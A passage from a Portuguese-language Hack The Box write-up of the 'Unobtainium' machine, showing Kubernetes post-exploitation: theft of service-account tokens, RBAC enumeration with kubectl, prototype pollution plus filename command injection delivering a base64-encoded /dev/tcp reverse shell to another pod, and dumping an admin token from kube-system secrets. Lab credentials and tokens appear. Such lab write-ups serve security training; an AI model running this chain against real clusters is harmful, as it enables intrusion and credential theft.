eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzMyMDQxNzYyLCJpYXQiOjE3MDA1MDU3NjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJ3ZWJhcHAtZGVwbG95bWVudC05NTQ2YmM3Y2ItYjdrMmciLCJ1aWQiOiIyMjA4Mzc5Yi0yY2U2LTQ0YjktYjlhOC1hOWU3N2Q1NTIwYTEifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJhOGQ5YjRkNC1iZDhjLTQyNDEtOTcxMC0zOGZkNzg5ZjYwYmUifSwid2FybmFmdGVyIjoxNzAwNTA5MzY5fSwibmJmIjoxNzAwNTA1NzYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.ZMHXhT9cWaISjY9LgPDapLjR95pakI-CUmfhf2ohNQL21J8Xc2sNxzuePSJtS3W2qnZqySdFDgZKCLp4nTYZPP3RvVDneG57AN_yuvee2W8sPqmtlpY-5CjZc4ZAK21ygjajRcwwsyWUQa3POgmtxXbpC1sG5Om3-fqxKn4r80M79FEI0xmofcedyH1BwxzoKqH4rOD5-opOXTE9KrNEbv-DTWFJDLZ_BAq_2_ANyDQb94ajb3Zyih7ioDFusYgUT-OuK94EHzGetQ6ip2g9RRclCbiag75xd63_OW-KMcP-_2JydkIhlJbMvR8qaVu1hypM1m_Zk1FH53QZ5KSUQA

root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----
Enter fullscreen mode Exit fullscreen mode

Estes dois arquivos são suficientes para que consigamos nos comunicar com a api do kubernetes com as mesmas permissões que o pod possui.

Lembrando que a porta 8443 do nosso alvo esta exposta e é a kubeapi. Podemos salvar localmente esses dois arquivos (ca.crt e token) e utilizar para esta comunicação.
Outro arquivo importante, mas a caráter de informação, é o arquivo chamado namespace:

root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
default
Enter fullscreen mode Exit fullscreen mode

No kubernetes podemos criar namespaces, que é uma separação lógica, um mecanismo para isolar grupos de recursos. Com isso podemos ter namespaces variadas, como developer, production e etc. Em cada namespace podemos criar pods, services, deployments e entre outros recursos do kubernetes.
No caso do arquivo namespace que visualizamos acima, ele indica que o pod em que estamos esta na namespace default, que como o nome informa é a namespace default do kubernetes.

O próximo passo que iremos realizar é utilizar o kubectl para interagir com a kubeapi do nosso alvo.
O kubectl é um client para comunicação com o kubeapi do kubernetes.

Vamos listar as permissões que o pod possui através do seguinte comando localmente atraés do kubectl:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i --list  --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
Enter fullscreen mode Exit fullscreen mode

No kubernetes você pode criar um usuário ou serviceaccounts, este último utilizado pelos próprios recursos do kubernetes para acessar ou restringir acesso a outros recursos. Tanto o usuário ou serviceaccount precisa ter um conjunto de permissões (RBAC) que são setadas nas Roles e atribuidas a eles nas Rolebindings, isso a nível de namespace pois é possível setar a nível de cluster com ClusterRoles e ClusterRoleBinding. Mas isso não iremos nos aprofundar pelo fato de não ocorrer interação com tais funcionalidades.

O kubernetes possui regras de acesso, onde existem recursos e verbos. Os recursos são namespaces, pods, services e demais recursos que o kubernetes provém. Já os verbos são ações que os detentores do acesso podem executar.
O retorno de nosso último comando executa uma checagem de permissionamento que temos, nos mostrando quais verbs temos sobre determinados resources.

E podemos listar namespaces:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get ns --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
NAME              STATUS   AGE
default           Active   448d
kube-system       Active   448d
kube-public       Active   448d
kube-node-lease   Active   448d
dev               Active   448d
Enter fullscreen mode Exit fullscreen mode

Aqui podemos ver as namespaces que este cluster kubernetes possui. Temos a default onde nosso pod esta rodando e temos a dev que é uma namespace criada, pois todas as outras que contém kube-... são padrões do kubernetes.
Vamos visualizar as permissões que temos na namespace dev:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i --list -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
namespaces                                      []                                    []               [get list]
pods                                            []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
Enter fullscreen mode Exit fullscreen mode

O verbo GET é referente ao comando get que executamos, que lista os recursos que desejamos. E nessa namespace podemos listar os pods rodando:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get po -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
NAME                                  READY   STATUS             RESTARTS      AGE
devnode-deployment-776dbcf7d6-g4659   1/1     Running            6 (24d ago)   448d
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running            6 (24d ago)   448d
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running            6 (24d ago)   448d
Enter fullscreen mode Exit fullscreen mode

Já o verbo LIST informa que podemos descrever o conteúdo de determinado recurso, como um pod, por exemplo. Com isso conseguimos informações sobre o pod, como endereço ip, imagem, quantidade e nome do container, portas abertas, volumes e etc.

E aqui que encontramos algo interessante:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl describe po devnode-deployment-776dbcf7d6-g4659 -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt
Name:         devnode-deployment-776dbcf7d6-g4659
Namespace:    dev
...
...
    Mounts:
      /root/ from user-flag (rw)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-ww6h2 (ro)
...
...
Volumes:
  user-flag:
    Type:          HostPath (bare host directory volume)
    Path:          /opt/user/
    HostPathType:
...
Enter fullscreen mode Exit fullscreen mode

A saída do comando acima irá exibir todas as informações sobre o pod, no entanto o que nos chama atenção é o volume do mesmo. Acontece que no diretório /root do pod foi montado o path /opt/user. E se a gente visualizar o conteúdo do diretório /root do pod que temos acesso:

(remote) root@webapp-deployment-9546bc7cb-b7k2g:/opt# ls -alh /root/
total 12K
drwxr-xr-x 2 root root 4.0K Aug 29  2022 .
drwxr-xr-x 1 root root 4.0K Nov 19 22:25 ..
-rw-r--r-- 2 root root   33 Nov 19 22:26 user.txt
(remote) root@webapp-deployment-9546bc7cb-b7k2g:/opt# cat /root/user.txt
eeeca1b96472d17a455e688bf5c9c8da
Enter fullscreen mode Exit fullscreen mode

Conseguimos encontrar a user flag!

Agora temos a user flag e acesso ao kubeapi do kubernetes. Como estamos no pod webapp-deployment-9546bc7cb-b7k2g na namespace default podemos tentar uma movimentação lateral para os pods rodando na namespace dev.

Para isso vamos observar alguns detalhes que conseguimos com o describe. Podemos notar que esta rodando a mesma aplicação pois a configuração é similar ao pod que temos shell.
Podemos replicar a técnica que utilizamos para ganhar nosso primeiro shell só que agora de um pod para outro.

Primeiro buscamos o endereço ip do nosso novo alvo:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl describe po devnode-deployment-776dbcf7d6-g4659 -n dev --token `cat ./token` -s https://10.129.136.226:8443 --certificate-authority ./ca.crt | grep -i ip
IP:           10.42.0.63
Enter fullscreen mode Exit fullscreen mode

Como estamos dentro de um container não será possível utilizar nossos scripts. Nesse caso vamos utilizar o comando curl, presente no container.

Para isso vamos precisar abrir outro reverse shell em nosso alvo, pois os próximos passos precisarão.
Primeiramente iremos utilizar o prototype pollution para habilitar o upload para nosso usuário no pod da namespace dev:

root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# curl -H 'Content-Type: application/json' -XPUT http://10.42.0.63:3000 -d '{ "auth": {"name": "felamos", "password": "Winter2021"}, "message": {"text":"something", "__proto__": { "canUpload": true}}}'
{"ok":true}
Enter fullscreen mode Exit fullscreen mode

Podemos utilizar o mesmo payload, somente precisar utilizar o ip do nosso container:

bash -i >&/dev/tcp/10.42.0.71/9002 0>&1

Aqui iremos precisaremos do segundo reverse shell, onde iremos enviar o binário do netcat para nosso shell.
Com o binário do netcat no servidor alvo iremos executar o mesmo em uma aba:

root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# ./nc64 -nlvp 9002
listening on [any] 9002 ...
Enter fullscreen mode Exit fullscreen mode

Estamos prontos para executar nosso payload:

(remote) root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# curl -H 'Content-Type: application/json' -XPOST http://10.42.0.63:3000/upload --data '{ "auth": {"name": "felamos", "password": "Winter2021"}, "filename":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjQyLjAuNzEvOTAwMiAwPiYx | base64 -d |bash #"}'
{"ok":true,"Uploaded_File":"| echo YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjQyLjAuNzEvOTAwMiAwPiYx | base64 -d |bash #"}
Enter fullscreen mode Exit fullscreen mode

Com isso conseguimos shell no pod alvo na namespace dev!

 root@webapp-deployment-9546bc7cb-b7k2g:/usr/src/app# ./nc64 -nlvp 9002
listening on [any] 9002 ...
connect to [10.42.0.71] from (UNKNOWN) [10.42.0.63] 37974
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app#
Enter fullscreen mode Exit fullscreen mode

Uma vez que estamos dentro de um novo pod iremos realizar o mesmo procedimento para buscar o ca.crt e token para acesso ao kubeapi. Neste pod estes arquivos estão em outro diretório:

/var/run/secrets/kubernetes.io/serviceaccount# ls -lah
ls -lah
total 4.0K
drwxrwxrwt 3 root root  140 Nov 20 23:33 .
drwxr-xr-x 3 root root 4.0K Nov 19 22:25 ..
drwxr-xr-x 2 root root  100 Nov 20 23:33 ..2023_11_20_23_33_05.040072354
lrwxrwxrwx 1 root root   31 Nov 20 23:33 ..data -> ..2023_11_20_23_33_05.040072354
lrwxrwxrwx 1 root root   13 Nov 19 22:25 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root   16 Nov 19 22:25 namespace -> ..data/namespace
lrwxrwxrwx 1 root root   12 Nov 19 22:25 token -> ..data/token
<659:/var/run/secrets/kubernetes.io/serviceaccount# cat ca.crt
cat ca.crt
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----
<659:/var/run/secrets/kubernetes.io/serviceaccount# cat token
cat token
eyJhbGciOiJSUzI1NiIsImtpZCI6InRqSFZ0OThnZENVcDh4SXltTGhfU0hEX3A2UXBhMG03X2pxUVYtMHlrY2cifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzMyMDU5MTg1LCJpYXQiOjE3MDA1MjMxODUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZXYiLCJwb2QiOnsibmFtZSI6ImRldm5vZGUtZGVwbG95bWVudC03NzZkYmNmN2Q2LWc0NjU5IiwidWlkIjoiMWEzZjIyZGMtNTJlYS00MmYwLWEyMjMtOWFlZmU2YWJmYmVmIn0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJkZWZhdWx0IiwidWlkIjoiMjk1NzViZmMtMTlkYi00MTBkLWJmZmYtZWQ1OGVjMWY0NzUzIn0sIndhcm5hZnRlciI6MTcwMDUyNjc5Mn0sIm5iZiI6MTcwMDUyMzE4NSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRldjpkZWZhdWx0In0.exHbqP0rELvnzHnM5J-t-epWWN0wpsNo3-xSg0fhL8ijhR7aOIg9xMgC4gp3KYsdquBozdlf3YBgpWbebxR3huTNqmiVp4Ov3tiC_sa_U-T_t6hAVU9SQPPHjba7ncAySki4PMMacpNdB4cahf3Yw9LyoPvCdLEEOrZMU93LKiFPA4pMl0Fj_yhbPkRSI7AXiZzZHKLW83acwccKwgsUuHznKxjQf2do91jMVUJ2rcNuBaEK2HIz1kfXr3WN6Ys_q5g_MGfaHnCkgBENZCXW09pgJ4Kk-3Yr6b9jlds8_YCyAVxDdiop32R8Wr7JXpRgENUKQSBdppHxItAtOOizOQ:
Enter fullscreen mode Exit fullscreen mode

Seguindo o procedimento iremos visualizar localmente quais permissões conseguimos obter:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl auth can-i -n kube-system --list --token `cat ./dev-token` -s https://10.129.136.226:8443 --certificate-authority ./dev-ca.crt
Resources                                       Non-Resource URLs                     Resource Names   Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []               [create]
secrets                                         []                                    []               [get list]
                                                [/.well-known/openid-configuration]   []               [get]
                                                [/api/*]                              []               [get]
                                                [/api]                                []               [get]
                                                [/apis/*]                             []               [get]
                                                [/apis]                               []               [get]
                                                [/healthz]                            []               [get]
                                                [/healthz]                            []               [get]
                                                [/livez]                              []               [get]
                                                [/livez]                              []               [get]
                                                [/openapi/*]                          []               [get]
                                                [/openapi]                            []               [get]
                                                [/openid/v1/jwks]                     []               [get]
                                                [/readyz]                             []               [get]
                                                [/readyz]                             []               [get]
                                                [/version/]                           []               [get]
                                                [/version/]                           []               [get]
                                                [/version]                            []               [get]
                                                [/version]                            []               [get]
Enter fullscreen mode Exit fullscreen mode

Com as novas permissões conseguimos visualizar secrets, que é um objeto do kubernetes utilizado para armazenar valores, certificados e outros dados sensíveis.
Neste momento iremos verificar em todas as namespaces disponíveis.

E analisando os secrets da namespace kube-system (namespace responsável por guardar recursos e objetos para o funcionamento do próprio kubernetes) encontramos dentre os secrets o seguinte:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get secrets -n kube-system --token `cat ./dev-token` -s https://10.129.136.226:8443 --certificate-authority ./dev-ca.crt
NAME                                                 TYPE                                  DATA   AGE
...
c-admin-token-b47f7                                  kubernetes.io/service-account-token   3      448d
...
Enter fullscreen mode Exit fullscreen mode

Utilizando o GET conseguimos visualizar seu conteúdo com a saída em yaml:

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# kubectl get secrets c-admin-token-b47f7 -n kube-system -oyaml --token `cat ./dev-token` -s https://10.129.136.226:8443 --certificate-authority ./dev-ca.crt
apiVersion: v1
data:
  ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlRENDQVIyZ0F3SUJBZ0lCQURBS0JnZ3Foa2pPUFFRREFqQWpNU0V3SHdZRFZRUUREQmhyTTNNdGMyVnkKZG1WeUxXTmhRREUyTmpFM05qVXhOekV3SGhjTk1qSXdPREk1TURreU5qRXhXaGNOTXpJd09ESTJNRGt5TmpFeApXakFqTVNFd0h3WURWUVFEREJock0zTXRjMlZ5ZG1WeUxXTmhRREUyTmpFM05qVXhOekV3V1RBVEJnY3Foa2pPClBRSUJCZ2dxaGtqT1BRTUJCd05DQUFSanpSOWNzN2tpTnRia0Z5dDJDUXR5L1JZRnZUbEFySlFDVmtCb3hyTlcKWFJkMUJnTGs3aE1WRElJZVZUZEV4aXh4VWNSTzhLK3VpMXJ5bnZUTmkzWnBvMEl3UURBT0JnTlZIUThCQWY4RQpCQU1DQXFRd0R3WURWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVVpuaFRWNTd3bzk3R2lwM0Z3QSs0ClZjYnJIMUF3Q2dZSUtvWkl6ajBFQXdJRFNRQXdSZ0loQVBHN25UQzNzOWxIb0lMaVkwK2pkQldYNEFBU2c5bmYKdEFLWll0bXdna2NQQWlFQTlzSDVXeEFDcWNYYkRXY1lURlZxS2kzNlBMbDc1Zll3eG1haVhlN2RBeUk9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
  namespace: a3ViZS1zeXN0ZW0=
  token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ==
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: c-admin
    kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c
  creationTimestamp: "2022-08-29T09:32:33Z"
  managedFields:
  - apiVersion: v1
    fieldsType: FieldsV1
    fieldsV1:
      f:data:
        .: {}
        f:ca.crt: {}
        f:namespace: {}
        f:token: {}
      f:metadata:
        f:annotations:
          .: {}
          f:kubernetes.io/service-account.name: {}
          f:kubernetes.io/service-account.uid: {}
      f:type: {}
    manager: k3s
    operation: Update
    time: "2022-08-29T09:32:33Z"
  name: c-admin-token-b47f7
  namespace: kube-system
  resourceVersion: "707"
  uid: 7778ef55-db34-406d-b256-1704ec78236e
type: kubernetes.io/service-account-token
Enter fullscreen mode Exit fullscreen mode

Convertendo de base64 os valores ascii podemos confirmar que se trata de um ca.crt e token armazenados em base64, formato que os secrets são disponibilizados no kubernetes.

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# echo -n 'LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUJlRENDQVIyZ0F3SUJBZ0lCQURBS0JnZ3Foa2pPUFFRREFqQWpNU0V3SHdZRFZRUUREQmhyTTNNdGMyVnkKZG1WeUxXTmhRREUyTmpFM05qVXhOekV3SGhjTk1qSXdPREk1TURreU5qRXhXaGNOTXpJd09ESTJNRGt5TmpFeApXakFqTVNFd0h3WURWUVFEREJock0zTXRjMlZ5ZG1WeUxXTmhRREUyTmpFM05qVXhOekV3V1RBVEJnY3Foa2pPClBRSUJCZ2dxaGtqT1BRTUJCd05DQUFSanpSOWNzN2tpTnRia0Z5dDJDUXR5L1JZRnZUbEFySlFDVmtCb3hyTlcKWFJkMUJnTGs3aE1WRElJZVZUZEV4aXh4VWNSTzhLK3VpMXJ5bnZUTmkzWnBvMEl3UURBT0JnTlZIUThCQWY4RQpCQU1DQXFRd0R3WURWUjBUQVFIL0JBVXdBd0VCL3pBZEJnTlZIUTRFRmdRVVpuaFRWNTd3bzk3R2lwM0Z3QSs0ClZjYnJIMUF3Q2dZSUtvWkl6ajBFQXdJRFNRQXdSZ0loQVBHN25UQzNzOWxIb0lMaVkwK2pkQldYNEFBU2c5bmYKdEFLWll0bXdna2NQQWlFQTlzSDVXeEFDcWNYYkRXY1lURlZxS2kzNlBMbDc1Zll3eG1haVhlN2RBeUk9Ci0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K' | base64 -d
-----BEGIN CERTIFICATE-----
MIIBeDCCAR2gAwIBAgIBADAKBggqhkjOPQQDAjAjMSEwHwYDVQQDDBhrM3Mtc2Vy
dmVyLWNhQDE2NjE3NjUxNzEwHhcNMjIwODI5MDkyNjExWhcNMzIwODI2MDkyNjEx
WjAjMSEwHwYDVQQDDBhrM3Mtc2VydmVyLWNhQDE2NjE3NjUxNzEwWTATBgcqhkjO
PQIBBggqhkjOPQMBBwNCAARjzR9cs7kiNtbkFyt2CQty/RYFvTlArJQCVkBoxrNW
XRd1BgLk7hMVDIIeVTdExixxUcRO8K+ui1rynvTNi3Zpo0IwQDAOBgNVHQ8BAf8E
BAMCAqQwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUZnhTV57wo97Gip3FwA+4
VcbrH1AwCgYIKoZIzj0EAwIDSQAwRgIhAPG7nTC3s9lHoILiY0+jdBWX4AASg9nf
tAKZYtmwgkcPAiEA9sH5WxACqcXbDWcYTFVqKi36PLl75fYwxmaiXe7dAyI=
-----END CERTIFICATE-----

┌──(root㉿kali)-[/home/…/hackthebox/machines-linux/unobtainium/kubernetes]
└─# echo -n 'ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWkNJNkluUnFTRlowT1RoblpFTlZjRGg0U1hsdFRHaGZVMGhFWDNBMlVYQmhNRzAzWDJweFVWWXRNSGxyWTJjaWZRLmV5SnBjM01pT2lKcmRXSmxjbTVsZEdWekwzTmxjblpwWTJWaFkyTnZkVzUwSWl3aWEzVmlaWEp1WlhSbGN5NXBieTl6WlhKMmFXTmxZV05qYjNWdWRDOXVZVzFsYzNCaFkyVWlPaUpyZFdKbExYTjVjM1JsYlNJc0ltdDFZbVZ5Ym1WMFpYTXVhVzh2YzJWeWRtbGpaV0ZqWTI5MWJuUXZjMlZqY21WMExtNWhiV1VpT2lKakxXRmtiV2x1TFhSdmEyVnVMV0kwTjJZM0lpd2lhM1ZpWlhKdVpYUmxjeTVwYnk5elpYSjJhV05sWVdOamIzVnVkQzl6WlhKMmFXTmxMV0ZqWTI5MWJuUXVibUZ0WlNJNkltTXRZV1J0YVc0aUxDSnJkV0psY201bGRHVnpMbWx2TDNObGNuWnBZMlZoWTJOdmRXNTBMM05sY25acFkyVXRZV05qYjNWdWRDNTFhV1FpT2lJek1UYzNPR1F4TnkwNU1EaGtMVFJsWXpNdE9UQTFPQzB4WlRVeU16RTRNR0l4TkdNaUxDSnpkV0lpT2lKemVYTjBaVzA2YzJWeWRtbGpaV0ZqWTI5MWJuUTZhM1ZpWlMxemVYTjBaVzA2WXkxaFpHMXBiaUo5LmZrYV9VVWNlSUpBbzN4bUZsOFJYbmNXRXNaQzNXVVJPdzV4NmRtZ1FoXzgxZWFtMXh5eHFfaWxJejZDajZIN3Y1QmpjZ0lpd3NXVTl1MTN2ZVk2ZEZFck9zZjFJMTBuQURxWkQ2NlZRMjRJNlRMcUZhc1RwblJIR19leldLOFV1WHJaY0hCdTRIcmloNExBYTJycE9SbTh4UkF1TlZFbWliWU5HaGpfUE5lWjZFV1FKdzduODdsaXIybFljcUdFWTExa1hCUlNpbFJVMWdOaFdibktvS1JlR19PVGhpUzVjQ28yZHM4S0RYNkJad3hFcGZXNEE3ZktDLVNkTFlRcTZfaTJFemtWb0JnOFZrMk1sY0doTi0wX3VlcnI2clBiU2k5ZmFRTm9LT1pCWVlmVkhHR00zUURDQWszRHUtWXRCeWxvQkNmVHc4WHlsRzlFdVRndGdaQQ==' | base64 -d
